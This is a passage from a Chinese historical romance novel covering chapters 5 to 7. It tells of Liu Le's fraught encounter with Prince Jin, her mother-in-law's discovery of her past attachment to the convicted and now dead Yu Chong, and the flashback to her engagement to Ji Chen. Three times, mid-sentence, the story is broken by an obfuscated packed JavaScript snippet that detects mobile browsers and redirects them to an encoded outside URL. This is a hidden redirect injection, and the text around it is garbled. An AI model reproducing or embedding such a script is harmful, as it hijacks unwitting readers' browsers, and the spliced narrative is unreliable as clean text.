“自然了，殿下的声誉要紧。”柳乐忍不住出言嘲讽。 “我不要紧，是为你考虑，你不担心计员外郎知道了发怒？” “我一点儿也不担心。”柳乐恨恨地说。 “是他不会发怒，还是你不怕？” 柳乐不想答，可晋王的眼睛紧紧随着她，难以甩脱。“他不会。”她不情愿地吐出三个字。 那双眼睛一闪一闪地闪出笑。不能说这笑不怀好意，但他的话实在难听：“这大概就是我的小人之心与计员外郎君子之腹区别所在：反正若我有个美貌妻子，偏被计员外郎叫到跟前说个没完，我是一定生气的。” “殿下多虑了，”柳乐庄重道，“计员外郎哪怕犯一百种过错，也绝不会戏人妻女。” “原来他是个板正的人。”晋王惊奇地看一眼她，大感意外似的，“这么说你们二人是受媒人撮合、奉父母之命成婚——既然你不是他言语‘戏’来的？” “那是我和他的家事。”柳乐一肚子火，简直要从头顶冒出烟来。 “再不然——如你所说，他有‘为民之志’，讨了你的喜欢？” 柳乐缄口不语。 晋王又盯她看了片刻：“不管哪样，我倒要为你惋惜了，你应该嫁个更有趣的人：又会让你怨，又会让你笑，哪怕你心里恨着他，不见时却又想得不得了，因为他也是同一般想着你，因为不管他是不是胸怀大志，不管他心中装多少样东西，放在头一位的，惟有你一个。” 柳乐站在那儿，怒目对着晋王，好像他是个累世的仇人。 晋王默然低下脑袋，过了好大一会儿才说：“焉知你和计员外郎不是如此，我对你们二人又晓得什么呢？” 说完抬起头，眉宇间笼了一层落寞的神情：“讲了许多得罪的话，太对不住你，因为我难得碰上个有趣的、可以聊天解闷的人。” 柳乐紧紧闭着嘴巴。她不会把他的话放在心上，也就无所谓他的道歉了。 “你看今日这场宴会怎么样？” 柳乐依然不回答。 “我知道，你肯定觉得金玉其外，无趣其中，没意思透了，对吧？哪里比得上与三五至交，不拘坐在何处一同畅谈的快活？——只要是真正的朋友。” 晋王来回踱着步，每走到柳乐跟前，就停下与她说一句。 “你大概体会过那种感觉，我看得出。而我在这里，别说朋友了，除了那么一两个人，连我的名字都没人叫。——所以我盼着，或许改日你会问问我的名字。” “什么王孙贵胄，外人看着光鲜，其实也不得畅快，真想有个人陪我一道遭罪才好。” “咱们大概还会见面。何必不肯说话，生气还是厌烦了？若生气，倒好些，我不能怪你。” 这套装可怜的把戏对柳乐也没用，她一句话都不接，任他在那儿自言自语。 “人来了。”晋王向远处望一眼，忽地把满面愁容改作冷峻之色。 果然，一个身着赭红衣服的小太监急匆匆向这边赶来。 柳乐看他走到近前，看他躬身，口呼“殿下”，将一只托盘高举至晋王面前。——紫红的檀木盘子正中，放着一枚翠色扳指，碧莹莹，水汪汪的。 晋王把它拿起来，在手中把玩了一会儿。 柳乐突然发现他肤色很白：若比象牙，略清冷些，比霜雪，则要柔和细腻许多，又带着些许久居室内、少见阳光的苍白— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没，可能太后叫她到跟前去了。”计晴闷闷道。 “肯定是，她是谢家二房的，论起来是太后的亲侄女，更不同了。她姐姐是堂侄女，太后还那样喜欢呢。”高娴说。 “她姐姐就是谢二姑娘？”柳乐问。 “可不。”高娴解释，“他们家怪着呢：虽说人口多姑娘多，可是只有太太生的、外加天资又极好的姑娘，在及笄时长辈才给个大名，其余的都是三娘四娘胡乱叫着，外头人也不太知道。每一辈里面，至多有两三个尖子能脱出来，这一辈是二姑娘和五姑娘，上一辈是太后和先前那位贵妃。晋王爷和谢家姑娘怎么算，都是亲表兄妹。” 柳乐皱起眉头。 “不过现今谢家姑娘无论如何不能再入宫了，朝臣们该有话说了，所以太后就一心想要把……”高娴瞅瞅计晴，停住嘴，问柳乐，“黄御史和他夫人今日去了没有？” “我听见黄御史去了，他夫人不晓得。”柳乐答。她知道谢二姑娘是嫁给了都御史。“是续弦，御史大人都快成老头子了。”当时计晴如是说。 “我估计她也不去，你想，她毕竟和……碰上了多尴尬。”高娴点着头。 柳乐不答，她没心思讨论晋王的过往。若能说出自己见到了晋王，发现他的人品着实令人无法恭维，她还能痛快点儿。但转念一想，董素娥听见，定会数落她对王爷不敬，遂作罢。没两日，她便将此事丢至脑后了。 5. 竹马和贼人 且说柳乐嫁入计家不觉已有半年，虽丈夫不在家，但公婆慈爱宽厚，妯娌相谦相让，姑嫂间更是亲密，一家子过得颇和顺。尽管如此，柳乐依然常常想起做姑娘时，在爹娘膝下承欢、与姊妹嬉闹玩耍的时日。 这天，她又思想起家人，因向董素娥说：“母亲，家里若无事，明日我想去看看我爹娘。” “可不是该去瞧瞧。”董素娥答应了，沉吟一会儿，又说，“我也久不见亲家了，正想着挑个日子拜访，不若明日我们就一起去，省得套两趟车。” 柳乐心中老大不乐意，她原本是要回家自在一日，与家人好好说说话，这一来，变得像寻常亲戚间人情走动，还有什么意思。可她知道婆母定下的事情不喜别人去驳，一时也想不出反对的道理，只得点头说好。 董素娥便笑道：“还有几家子人要请，又有几家客要拜，一堆事情等着，我也耽搁不了太久。这两日还该把衣裳拿出来晒晒，十五日去寺里还愿，许下的经还没有抄完，不过那些有你嫂子忙也就够了，你就在那边多待一晚，我也不使车子接你，催你回来似的。你上午自己雇辆车，消消停停回来便了。”柳乐听了，心内才又慢慢高兴起来。 第二日一大早，柳乐先打发自己的丫环巧莺回去报信，准备停当，又等着董素娥收拾好了，才出门上车，往柳家驶来。 柳家得了信，早早在门口候着了，董素娥一到，忙让进屋，入堂屋坐下。柳乐的兄长柳图和妹妹柳词都上来拜见，寒暄毕，柳乐的母亲江岚就与董素娥慢慢说起话来，柳乐和嫂子严华在旁作陪。 江岚今日穿着件缃色绸子衫儿，不怎样华丽，却显得十分端雅大方。柳乐立即看出她是为亲家会面着意打扮了一番，怀着女儿对母亲的爱意，快活地想：“娘可真美啊。” 她不自觉要将母亲与婆母作比，两人都肖虎，同岁，可是这时坐在一处，怎么看都是母亲显着年轻一轮。 不知道董素娥自己是不是也觉出来了，虽谈着亲热的话，却挂上了一副漠然的表情。 柳乐知道缘故：董素娥新近在脸上发现了几道皱纹，急忙要补救，总是尽量避免发笑或蹙眉；平板着一张脸就是显得很不自然，而且像是不高兴。等会儿私下里要向母亲解释一下婆婆面色阴晴不定的原因，不然母亲要误会是她作媳妇儿没作好，惹得婆婆不满呢。柳乐想着，又从侧面偷偷看了董素娥几眼，不知怎的突然想笑，又觉得不好，忙装出副一本正经的样子。这下不是正像婆母了？柳乐差点儿笑出声，赶快把胡思乱想打发掉，专心听她们谈话。 两人不过闲聊些家务事，董素娥问：“你那两个孙儿多大了，上学堂不曾？” 江岚答：“大的十岁，小的不满八岁，才刚刚开始念书，还是他们祖父教着认几个字。” 董素娥道：“我怎么忘了，你家里就是学堂。两个小学童在不在家，让我也见一见。” “顽皮得很，怕亲家太太笑话。”江岚谦虚了几句，便让严华去领兄弟俩。 柳乐这两个侄儿，大的名柳升，是个稳重孩子，很有几分长孙的样子，老二名柳岸，正是像猴儿一般的年纪，跟着哥哥规规矩矩问了好，立即就抱着柳乐大姑姑长大姑姑短叫个不住。 董素娥十分喜欢，对哥哥夸赞不绝，又拉过弟弟摩挲了一会儿，拿出备好的表礼分送哥儿俩，向江岚道：“亲家母，你有福气，便是有一万桩不足，有这两个孙儿每天看着，也就足了。” 江岚笑道：“家里有几个小孩子，要不像他两个这么烦人，是能解解闷儿。你那两个小孙女，可更好了。” 董素娥叹口气：“我那大媳妇身子娇气，当初有个小子没养下来，我是日夜着急，也只得两个丫头。”她瞅一眼严华，说，“看你这两个大小子，长得多么好，胳膊腿多么壮实。当初生他们，可是用了什么法儿？” 柳乐一听这话，登时飞红了脸，坐也不是走也不是。 严华忙笑道：“碰上什么是什么罢了。小人家胡乱长，哪里比得了尊府上的金枝玉叶。太太家里大奶奶是尊贵人，将来两个大姐儿都是千金小姐的体统，我们还羡慕不来。” “可不是这么说，到底家里得有哥儿才像个样，将来指着谁养老送终呢。” 江岚劝道：“亲家太太有两个好儿子，何愁没有福享。儿孙的事情操心它作甚。” 董素娥脸也不板了，笑得露出牙：“说起来我两个儿子，不是我自夸，倒也还算好。特别是老二，又孝顺又能干。先前多少人家有结亲之意，他只不应，唯独对你们姑娘另眼相看。等他这次从荥阳回来，看他们得个孩儿，我就真正心满意足了。”一面说一面笑呵呵看着柳乐。 柳乐垂下头，正自难受，幸亏柳岸好容易见到姑妈，一心要黏住不放，见过人后被带出去了，仍又溜进屋，恰听见这一句话，因抬脸问柳乐：“姑父多久回来，他好久不来了。” 柳乐庆幸侄儿来解围，忙说：“姑父出门去办差，过一阵便回，等他见了你还要考你功课，我看看你最近学了什么，别到时候让姑父问住。” 她本要拉着柳岸一同出去，谁知柳岸喜欢凑热闹，又被董素娥夸奖，越发要在她跟前卖弄，马上说：“我去拿来。”咚咚咚地跑了。 转眼他抱了只小箱子来，取出一卷纸，打开都是批满红圈的字：“祖父说我写得好。” 江岚和严华都笑骂：“夸你几句尾巴就翘上天了。” 董素娥逗他：“你和哥哥谁写得更好？” 柳岸拧起小眉头，心内斗争了一番，还是老实地答：“哥哥比我写得好。” “老二机灵，等你再长几岁，有哥哥那么大就更出息了。我看看你箱子里还有什么。” 柳岸急忙又往外掏，无非是学诗时乱诌的几行、几笔涂鸦的画作，等等。 江岚与董素娥虽做了亲家，各人却有各人的结交，两边都认识的只家里这几口人，说完了便没甚可说的，正好借着小孩子满嘴叽里呱啦，倒显得谈话热闹，所以大家都看柳岸献宝。 他从箱底翻出个玩具，是小孩子们爱耍的竹节人，两个人扯着线可以打斗，是常见的玩意，可柳乐一见就变了脸色。 董素娥拿起在手里拽了一拽，啧啧称奇：“我记得先前他们小时也玩过这样东西，倒没有骑马拿枪的。” 这个竹节人的确与众不同：他还骑着一匹竹节马，马头马腿亦可用线绳操控，小人手里还有一杆木头削的长枪，枪头却是铁制，打得锃亮。 柳岸一挺胸，大声说：“这是禹大叔 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柳家人都知禹冲和柳乐曾互相钟情，他获罪后，两人断了关系，从此全家上下对禹冲这个名字避而不提，那时柳岸才四五岁，谁能想到，他还记得当时的事，还藏着禹冲做的玩具。 严华使劲向外拉他：“咱们外头玩去，省得你在这里扰人。” “我知道，你们不让提禹大叔，是怕大姑姑伤心。大姑姑现在有了姑父，不会伤心了。”柳岸一壁说着，一壁挣开母亲，回头来捡他的竹节将军。 虽是孩子话，董素娥也听得明白，正因是孩子话，更没有假。她震惊地剜柳乐一眼，重重哼道：“你还是别留着了，这东西不好，什么禹大叔，犯过案的贼人！” 柳岸小脸涨得通红，“禹大叔不是坏人，我要留着，要留着！”一径跑出门。 柳图赶过来——柳乐是特意选了哥哥的休沐日回家——他刚才问过好便走开了，这时候听见叫嚷，三两步上前，高举起胳膊，并未落下，却吓得孩子呆住。柳图抢去玩具，“行了，留什么留，玩物丧志！” 柳乐早忍不住，跟出屋子，一把从他手里夺回来，“哥哥你干嘛，他又没有做错。”递还给柳岸，故意大声说，让屋内的人全听得见，“禹大叔已经不在了，你喜欢他，愿意记着他，证明你是个重情义的好孩子。你哥哥也没忘了，他只是记在心里不说出来，有些人就是这样。——走，你给我演一演，要怎么玩？” 柳乐自管带着两个侄儿玩去，这边柳图急忙给董素娥赔不是，只检讨自己疏于管教、致小儿目无尊长之过。童言无忌，董素娥不好显出当真大惊小怪，亦说了几句客气话。江岚心疼女儿，觉得实在毋需理亏，便不多解释，忙吩咐摆饭。 饭桌上，各人都搜肠刮肚寻些话谈笑，将事情胡乱混过去了。饭毕喝完茶，董素娥便起身告辞。 柳乐本想在家呆一晚，但这一来，恰似心虚，又像与婆婆赌气一般，被母亲悄悄推了一把，只好上来，和董素娥一道告别离开。 在车内坐好后，董素娥对丫环说：“你们自己雇车回去。”柳乐便向巧莺点点头，在婆母对面小心坐下。两人皆闷声不语。 柳乐看董素娥神情，知她还有话，静静等着她发问。 6. 诀别与木屋 计晨曾说过：“我娘不知道你和禹冲的事，我没对她讲，倒不是因为其它——原本她也看重禹冲，后来听见他犯案，心里便不大喜欢，那都是她老人家的偏见，但我一时纠不过。万一哪天她提到禹冲，说的话不好听，看我的份上，你千万忍耐担待些，待我回来再慢慢对她说。” 走了一段路程，外头人声喧闹起来，董素娥清清嗓子，“你和那个禹什么——晨儿知不知道？” 柳乐抬起头，迎着董素娥的目光，“我和禹公子——晨大哥知道，他们刚一起读书时就是好友。” 董素娥大约没料到她这样坦然，愣了半晌方说：“晨儿就是耳根子太软，别人哄两句，他就真信。不过同窗了几日，哪里扯得上什么朋友情谊。” 柳乐没接话，董素娥又气哼哼道：“当初就该请西席来家教授功课。去学堂，谁知一起念书的是什么人？一个不慎，结交上那些行止不端的，保不齐就被带坏了。多亏晨儿还洁身自好。” 柳乐气得手脚发冷，却不知如何替禹冲辩白，他到底是有罪。 董素娥叹气：“唉，晨儿也是，你和人有过婚约怎能瞒住不提？虽说姓禹的本人死了，若他家里谁来寻事可怎生好？” “不会。” “对了，我想起来了。他原本就没爹妈——走得早也是福气，好过被他活活气死。他家里人好像是都死绝了吧？” 董素娥一向势利，对地位不如己的人很不客气，训斥人时也常忘记委婉，这些柳乐全知道，可平日里再难听的话和这比起来根本不算什么。柳乐恨得嘴巴发苦，艰难道：“禹公子自小就和姑母姑父生活，他们是很好的人家，也很可怜。他的姑母待我就像亲生女儿一样，她绝不会……” 禹冲获流刑后，她的姑母在家中自缢了。柳乐竭力止住哽咽，良久才能开口：“没有禀明母亲，是我的过错。并非故意隐瞒，晨大哥不说，是因为我和禹公子没有立过正式婚约。” “你们是私定终身？”董素娥目瞪口呆。 柳乐别开脸，咬住唇，算是默认了。她和禹冲私底下也没有明说过，不过没必要向董素娥解释。婚约、海誓山盟，有什么要紧？虽无确切言辞，那时，他们彼此确实是一心一意地以为非对方不娶，非对方不嫁。 “哎呀，你不会也吃他哄了？还说他不会哄人！”董素娥跌足拍膝，长吁短叹道，“我看你本是个明白人，怎么突然这样不懂事理？可不是我说的，择友最要紧，姑娘家就更不必说了。爷们行错了还有补救，姑娘错了救都救不回来！像晨儿结交的那些朋友，人家帮过他忙，晨儿想致谢，我就跟他说：‘你请他上外面吃酒，足见出诚心了，不必请人家上家里来，你妹妹还在家呢。’一般念过书的人都懂得避嫌疑，知道别人家有没出门的姑娘，不会随便到别人家去。那禹……公子我记得来过一两回，还好，没让他看见晴儿。我也从来都对晴儿讲：不可轻易见外男，女孩儿家，经不起行差一步。千金小姐千金小姐，哪里价值千金——是你的清白名声！不光是你，还关乎你一家的家声门风。——像你家里开馆，进进出出都是小伙子，随便和他们厮混，让人怎么看你柳家？” 柳乐猛地扭过脸，沉声说：“我不是什么大家千金，但道理我还懂——我和晨大哥一样，都是由我父亲从小教导的。我从没做过不清不白的事，更没有随便和人厮混，叫旁人议论，令家人蒙羞。我对晨大哥没有半分隐瞒，要是我知道自己有一点儿行为不端正，配不上晨大哥，我都不会答应嫁给他。” “小点儿声，回去慢慢说，叫人听见！”董素娥急得来拦柳乐，但柳乐已经说完了，只胸中还鼓着气发不出来。 默了半晌，董素娥说：“是晨儿配不上你，你这样的媳妇，我们家不敢要。” 柳乐想回一句，到了口边又硬生生憋住了。婆母既已把话说到这份上，她走开就是，还有什么好再驳再辩？ 两人在车内僵坐片时，到了计家门前。柳乐等董素娥先下了车，自己跟在后面。 大概听见了车马的动静，计晴欢快地迎出来，也没发觉二人的异常。“娘，二嫂，哥哥来信了。他就要回家了，现在正在路上！” “二嫂，这是给你的。” 柳乐眼中还噙着泪，也没看清计晴递来个什么，就一把抓在手里，直冲进自己的屋子。 如今她才醒悟，嫁给计晨实在是错了。 她永远记得立誓永不嫁人的一日。那天，她去监牢探视。那是禹冲下狱后她第一次去看他，也是此生最后一次见到他。 她披着哥哥的斗蓬，脑袋兜在风帽中。斗篷又宽又大，不单让人看不见她的模样，还遮住了她浑身的颤抖。牢里很暗，禹冲坐在黑秃秃一张炕上，她看不清他的脸，也说不出一句话。 是禹冲先开口，他低下头说：“你做的香囊，进来时被搜走，不知哪里去了。你的书信，我藏在家里一个地方，第一天便让丁冒烧净了，没落到别人手里，你放心。” “你干嘛说这些？”她颤声问。 “我做了很对不住你的事。” “你做了什么？”她的两只手在身两侧抓着斗篷，紧紧攥住。 “他们说的那些。” “他们说……你和那位姑娘……” “是，不用说了。”禹冲急忙打断，头更低地垂在胸前。“我不是个好人，你是个好姑娘。幸亏不曾定亲，你还可以……你一定会碰到一位淑人君子、才貌仙郎，以后好好的，别记着我了。” 她的胸中一瞬间溢满了对他的恨意。他会为自己做的事受惩罚，甚至可能是很重的，但那些不算，他对不住她！她要质问他，要骂他，可是有什么用？她心底的恨不能平。 “就当和你没相识过！”她突然上前，朝他脸上狠狠打了一掌，打得手心火辣辣的，但也并没有痛快一点。 禹冲像块石头一样，一动不动。 “你说句话啊，是不是死了，再不，变成一块石头了？”她哭着喊叫，想看看他脸上是不是有羞愧和痛悔，却看不清。原来她根本一步未挪，嘴巴也没有张开。自她进了这间牢屋，就一直站在门前，那里不知有样什么东西，在她背后格楞楞直响，硌得她生疼。她还是想掴他一巴掌，不可遏制，但是太远了，她没有力气走过去。 禹冲这时抬起头，把脸转向她，透过泪光，她仿佛看见他凄惨地笑着。“这里不是好地方，你快走吧。” 她已经忘了那天是怎么回到家的。一到家，就把禹冲给她的东西——他亲手做的木头房屋连同几封信——统统烧了。 直到如今，禹冲送她那只木屋的情形还历历在目： 她的家人都熟悉禹冲，深知他是个嵚崎磊落的少年，每回他来访叙过话，其余人便各干各事去了，留禹冲和她自在谈天。那天只剩二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092357|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人时，禹冲打开随身一件包袱说：“我做了一样小玩意给你玩。”说着，他捧出一样东西，托于手掌上，递到她面前。 他手上是用木条搭就的一间屋舍，她惊奇地接过来，端在手中细看。小屋子挺重，打磨得光油油的，涂了朱色大漆，除了玲珑许多，外形与一般住宅并无二致——门、窗、廊、檐，乃至屋脊上的小兽，一应俱全。 “你打开看看。” “哪儿打开？” 从她手上，禹冲轻轻一拉将窗户拉起来，它就支在那儿了，里面又还有一层窗格，是要糊窗纱的地方，这里没有窗纱，眼睛可以透过去看。“你来开门。”禹冲说。 她伸出一根手指，稍稍用力一推，两扇门向内打开——真想变作个小人儿走进去瞧一瞧。 她这才往里面看，里头也是个房间样子，家具全部榫接在地板上，不会摇晃出来。屋内摆着一桌一几，一对椅子，一对柜子，还有一只床——围栏上的镂空花纹都看得清楚明了，可想而知做成要花费多么大的心思。瞧见时她的脸狠狠地红了，把东西往禹冲怀里一推，“做什么不好，做这种惹人笑的玩意儿。” “你不喜欢住这种屋子？”禹冲大惊小怪道，“那你喜欢住哪儿——在嫁我之后。” 他前头的话有意拖长了声音，她赌气着急地回答：“住山洞！”说完才听见后面轻快的一句。 “好，咱们就住山洞。”禹冲笑眯眯地说。 她登时羞恼交集，“谁说过要嫁你？”头一甩就要走。 禹冲跨一步拦住：“谁也没说过，不嫁不嫁。”赔着小心，又把木头房屋塞给她，“你拿着，也可以当个盒子使。等收到我的信，你就放进这儿。” 她又急着走开，又要抽手，又怕真的摔坏了，听到这话，立住，暂且忘了别的，“你要出门去了？” 禹冲点点头。 禹冲的姑父是个工匠，常在各地做些工程，同时寻找多年前意外失散的女儿；姑父离世后，禹冲算是承继了衣钵，亦需常常出门，一为赚钱来养活姑母，二为继续寻找表妹。——这是她早就知道的，只是两人互明心迹后，这还是第一次别离。 “明日走？”她问，不等答话，又说，“去便去，用得着写什么信？” “也是，我写也写不好，不写了。但是你得给我写。” “你不写，还想让我写，做梦！” 那日禹冲出门时，又回头向她一笑：“我一定写信。” 她把木屋放在妆台上，别人都知道那是她的宝贝，谁也不敢去碰。本来也能作个首饰匣子，可她什么都不舍得往里放，只有每次收到禹冲的信，读完便将信纸折成小小一块，打开门，塞进去。 所以销毁也方便，连看都不用看，整个屋子搬起来一股脑投入灶膛了事。 那天晚上，她在母亲怀里哭着说：“我不会嫁人，娘，我一直陪着你。” 妹妹柳词在一旁听见，扑来抱住她：“我也不要嫁人，我要陪姐姐。” 江岚一手搂住一个：“好，不嫁就不嫁。你们哥哥都已经说了，没人能配上他妹妹。他拍着胸脯说的：‘我在一日，一日不少妹妹们吃穿，柳家也是有模有样的人家，还能盛不下两位姑奶奶？’” 三个人都含着泪笑了。笑归笑，她知道自己说的并非玩话，她是铁了心不要嫁人的。可后来，到底是为何没能坚持呢？ 7. 孤坟和订婚 那年十月，禹冲被押解离京时，计晨已授了工部主事，公务繁重之余，他还常常抽空来家探望。她很感激计晨能来陪陪父亲，因父亲的话越来越少，而她这个作女儿的，心如死灰一般，很难强作欢容，陪伴双亲说笑解闷儿。可是那天——是过了一年半还是一年？记不清了，反正是阴惨惨的一天，计晨来时，父亲还在午睡。计晨敲她屋门说：“不敢打扰，但有一事相告，若姑娘方便，还请移步前院说话。” 她把计晨让进屋：“晨大哥进来坐吧，今日下值早？” 计晨坐下也未开口，只把一纸书札推至她面前。她看了一阵才明白，是从禹冲服刑地发来的公函，函上写着：罪囚禹冲，于某年月日卒于某地，系患病身亡，已葬于某处，其家人见文即付银三十两为殡葬之资。 原来那次真的就是最后一次看见他，可惜没好好瞧瞧他的脸。不，有什么可惜，他那副样子还会好看吗？那么，再上一回见他是什么时候，他是什么样子？想不起了。想不起也好，我已经忘了。她想。 良久，计晨叹气道：“禹冲兄弟家人都不在了，那时我留了我的姓名好通消息，今日他们送来这个。我给了差人六十两，让他们回去立块碑，逢节祭奠，我知道未必真能使在这上头，可我还能如何，不过略尽尽我的心罢了。”说罢流下泪来。 如今他身在何处？荒野中的孤坟！ 她连一滴眼泪都没有。只记得计晨劝了一些话，她似听非听，最后，计晨说：“姑娘不要憋着，哭出来吧，你这样，我于心何忍？” “我父亲知道没有？” 计晨面容惨白，摇头说：“我还不敢告诉老师。” “对，先别告诉他。” 不知该做什么，她说：“我去看看，茶怎么还没煮好。”刚一站起，便一事不知了。 醒来时，她是坐在椅上，但半个身子都倚着计晨。他慌忙站开说：“姑娘先坐着别动，觉得如何？” “没事，刚才是起来急了发晕，别告诉人，怕大家都知道了。” “刚才一时情急，冒犯了姑娘。我……” “没关系，晨大哥。”她摆手说，“你我都不用放在心上。咱们不是自小就相厚？你就像我哥哥一般。” “是。” 两人默默地又呆了一会儿，她站起身说：“我好多了，晨大哥，谢谢你来告诉我。” “今天不打扰老师了，请姑娘代问老师安康。姑娘也要多多开怀为是，我改日再来，到时能再瞧瞧姑娘？” 她一点头：“晨大哥放心，我一定保重自个儿。” 走到屋门口，计晨忽然转过身，红了脸，望着她：“你把我当作兄长，可我并不像你一样坦荡。柳姑娘，我知道你忘不掉禹冲兄弟，所以我一直藏着心事。我原想等他回来，你们能够和好如初，那我再别无它愿了。可如今，我不能再瞒你——我大胆说一句罢：看姑娘这样，我心里刀割一般。” 于难过中，她还是感到惊讶，惊讶得不知该说什么，又怕自己是想错了——希望自己是想错了。若换任何一个人在这时候说这种话，她都会不胜厌烦，可是对计晨，她只是从心底里为他难过，也为自己难过。“晨大哥，我不知你……” “姑娘当然不会想到。”计晨微笑着，缓缓摇了摇头。 她的心在冰冷的水中越沉越深，似乎已经麻木了，不然她就会拦住计晨不让他说。 “我知道姑娘不愿听，今日也不是时候，可是，允我说完罢。若是禹冲兄弟在，我一个字都不会讲，但我不是不恨着自己；如今若我还不承认，我就是天底下头一号虚伪小人，懦夫，可怜虫。我已经恨了自己好久……” 好些话，她现在记不清了，大意是他很早前就喜欢她，甚至时常嫉妒禹冲，为此他又责骂自己，禹冲获刑后，他尤其内疚，觉得自己没能对朋友尽力。最后，他说：“总有一日我会在禹冲兄弟坟前请罪。今日我告诉姑娘，我想他泉下能听得见，我不求他原谅我——我们一世相交，是我愧对他。但若姑娘肯原谅我，我多少能……我还是太自私，只想着让自己好过些。姑娘不必开口，我这就走了。” 她说：“你不用愧对他，也没有需要我原谅的地方。可是我不会嫁人，我已经立志要一个人……” 计晨急忙说：“姑娘莫如此想，我不是要姑娘一定嫁我，但姑娘何必这样耽搁自己，禹冲兄弟泉下也不会心安的。” “我不是因为他！”她厉声说。 她不想嫁人，大家便当她是为禹冲守贞么，何其可笑！她不为禹冲，是为了——为了世上没有一个人让她喜欢得要嫁他。可如此说，那不还是为禹冲？若为他，可他并不爱她呀。 她脑中迷迷乱乱，只听计晨道：“对不住，我不该说这话。姑娘有姑娘的志向，我有我的。我的心意不会变。我不求其它，只要姑娘允我常来看看姑娘就行。” 她当时太难受了，找不出话来，只得讲些客套之语：“晨大哥青目，当我是个朋友，这是我的福气，只是对晨大哥无益。我不过一个无甚见识的小女子罢了，而晨大哥少年才俊，前程万里，何样的好姻缘寻不到？”她想起禹冲在牢中对她说了类似的话，这种话果然说起来轻松！她把对禹冲的恨移了部分到计晨身上：恨他是禹冲的朋友，恨他能不怨禹冲，恨他带来这个消息。带着快意，她又加上一句，“难道晨大哥还能一辈子不娶？” “我不能。”计晨苦笑着说，“不管我心意如何，终有一日我要娶亲。父母养育恩重，我不能违拗他们的意思。他们愿意我娶哪位姑娘，任她是何等样人，我娶就是，亦不会有负于她。——正是如此，等我有了妻儿，自然以他们为念，不敢再为姑娘你挂怀，所以姑娘不必把我刚才那些话太过当真。我说出来，一是为了当着姑娘，向禹冲之亡魂坦白，二也是为了让自己死心。从今往后，我以家人、以衙门事务为重，至于我自己，怎样都行。” 怎样都行！正是这句话打动了她。 望着计晨亲切的面容，她惭愧无地。她立的那叫什么志——自己蹉跎年华也罢了，又害多少人为她忧心？父母的恩情，本已报不了万一，何忍使他们更添烦恼？还有一直默默关心她的晨大哥——世间悲苦之人甚众，又何必再多一人难受？ 其实，对计晨的情意，她绝非无动于衷。与计晨，不敢说自幼相知，也算相识多年了，甚至在年少时、在心悦禹冲前，她看计晨更觉亲切些。虽说她一向如敬重兄长般敬重计晨，可是婚姻不正要二人你敬我我敬你？或许她更爱禹冲那样的英锐少年，可单凭喜爱靠不住，她不是已尝过一次苦头了？她和计晨，未始不能白首到老。 心中已转过这些念头，她便不肯再惺惺作态：“晨大哥看我很可笑吧——我自以为明白，其实不及晨大哥一毫。我也愿有晨大哥的勇敢和坦率，若晨大哥还不当我是无可救药，若肯教导我……” “柳姑娘！”计晨激动地上前一步，又连忙后退，“我不是要逼姑娘答应，你不用这样匆忙。我改日再来，姑娘若是——” 计晨以为她还会反悔？他不明白，尽管是仓促间的决定，她的决定不会变的。她实在无力多说，把计晨送到门边，“你改日再来。今日先别说——什么都别对我爹说，再等等，就把这些一齐告诉他罢。”这时候，她终于落下眼泪。 那日往后，计晨来家比先前更勤了一些。有时她出来，与他说上几句话，有时两人见也不见。不管怎样，计晨始终没开口催促过，便是有片刻独处，他也一字不提成亲的事。禹冲身故的消息没瞒太久，几个月后，大家都知晓了。她担心父亲受不住，父亲却更担心她，于是，她便拉出计晨来使父亲安心。看得出，全家人对这件事都感到欢喜，可欢喜中又含着忐忑，仿佛婚事一日未办，中间便可能出什么变故似的。 她不忍令家人烦愁，不忍辜负计晨的心意，最重要的是，她想忘掉过去，抽胎换骨。 和禹冲在牢狱见那一面差不多整两年后，她请计晨过来一趟，话不必说出口，计晨全明白了。不几日，计家差了媒人来，转过年，刚出正月，她嫁与计晨，成了他的妻子。 ——所有这些，岂非全是她一个人的过错？ 柳乐扎在床上哭了一会儿，起来整好衣服，打湿手帕擦了擦脸，匀了面，正要去见董素娥，忽听外面有人说话。 巧莺说：“我们姑娘这会儿身上不爽快，大姑娘再来罢。” 计晴说：“你让我去瞧瞧二嫂，若嫂子赶我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092358|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我就走；若不赶我，我一瞧她保管就好了。” 柳乐连忙走出来，“我已经好了，大姑娘请坐。” 计晴本预备着上前拉住柳乐，听她改了称呼，停下，讪讪说：“嫂子还生气？你不肯看哥哥，也看看我罢。我知道你恼哥哥出门，留你在家，可是我天天和你在一起，咱们还不算好么？你也可怜可怜我，又没个亲姐妹。当初你来家，我和二哥一样高兴，你要是厌弃我，我真不知该如何……”说着眼圈便红了。 柳乐亦心酸，她和小姑挺要好，偶尔婆母对她苛刻，总是计晴替她说话，拿“要是二哥在家”提醒母亲，董素娥也就只好算了。“晴妹妹，你别伤心，我没生气。咱们先前好，以后自然也好，太太要是答应，你还可以去我家里玩。” 计晴愣了一下，急道：“你可别当真。我娘那个人就是说话不太好听，其实她心里并不是那样想。” 